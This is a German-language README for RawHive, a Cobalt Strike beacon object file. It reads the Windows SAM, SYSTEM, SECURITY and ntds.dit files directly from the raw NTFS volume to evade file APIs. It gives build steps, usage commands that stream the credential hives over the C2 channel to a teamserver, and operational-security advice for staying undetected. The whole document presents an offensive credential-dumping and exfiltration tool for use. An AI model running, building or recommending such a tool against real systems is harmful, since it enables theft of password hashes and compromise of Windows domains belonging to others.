RawHive

RawHive ist ein Cobalt Strike BOF zum Auslesen ausgewählter Windows-Registry-Hives direkt von einem rohen NTFS-Volume. Es umgeht die normalen Datei-APIs, durchläuft NTFS-Metadaten, um die Ziel-Dateieinträge zu finden, und liest die Bytes direkt von der Festplatte.

Ziele:

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (nur Domänencontroller)

Jeder lokale NTFS-Laufwerksbuchstabe funktioniert; der Standard ist C:.

Funktionsweise

1. Öffnet das Volume (zum Beispiel \\.\C:) und liest den Bootsektor, um $MFT zu lokalisieren.
2. Durchläuft Verzeichnisindizes für Windows, System32, config und die Zieldateien, mit einem begrenzten MFT-Scan als Fallback.
3. Liest Dateidaten aus residenten Attributen oder Cluster-Runlists.
4. Streamt die Bytes über C2 (Download-Modus) oder schreibt sie auf die Festplatte (Disk-Write-Modus).

Voraussetzungen

• 64-Bit-Beacon, der als lokaler Administrator oder SYSTEM läuft.
• x86_64-w64-mingw32-gcc und make zum Bauen.

Build

make

Baut dist/rawhive.x64.o. rawhive.cna lädt das Objekt aus dist/, daher nach Änderungen an rawhive.c neu bauen.

Verwendung

Der Download-Modus ist der Standard: Hives werden direkt vom rohen Volume gelesen und über die BeaconDownload-API an den Teamserver übertragen. Nichts berührt die Festplatte des Ziels.

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

Der Disk-Write-Modus speichert .tmp-Dateien in einem Verzeichnis auf dem Ziel. Beachte, dass dies die Festplatte berührt und möglicherweise nicht opsec-sicher ist; bevorzuge den Download-Modus, es sei denn, du benötigst die Dateien speziell lokal.

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

Das Volume kann als C, c oder C: geschrieben werden. Das Ausgabeverzeichnis muss bereits existieren.

Ausgabe

Dateien werden als <host>_<timestamp>_<hive>.tmp benannt:

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

Im Download-Modus erscheinen sie im Download-Tray von Cobalt Strike; im Disk-Write-Modus landen sie im angegebenen Ausgabeverzeichnis.

Hinweise

• Der Fallback-MFT-Scan ist auf 500.000 Einträge begrenzt.
• Runlists sind auf 128 Extents begrenzt; eine zu stark fragmentierte Datei schlägt fehl, anstatt eine unvollständige Datei als vollständig zu melden.
• Fehlerhafte oder nicht unterstützte NTFS-Strukturen werden abgelehnt, anstatt mit unsicheren Offsets fortzufahren.

Proof of Concept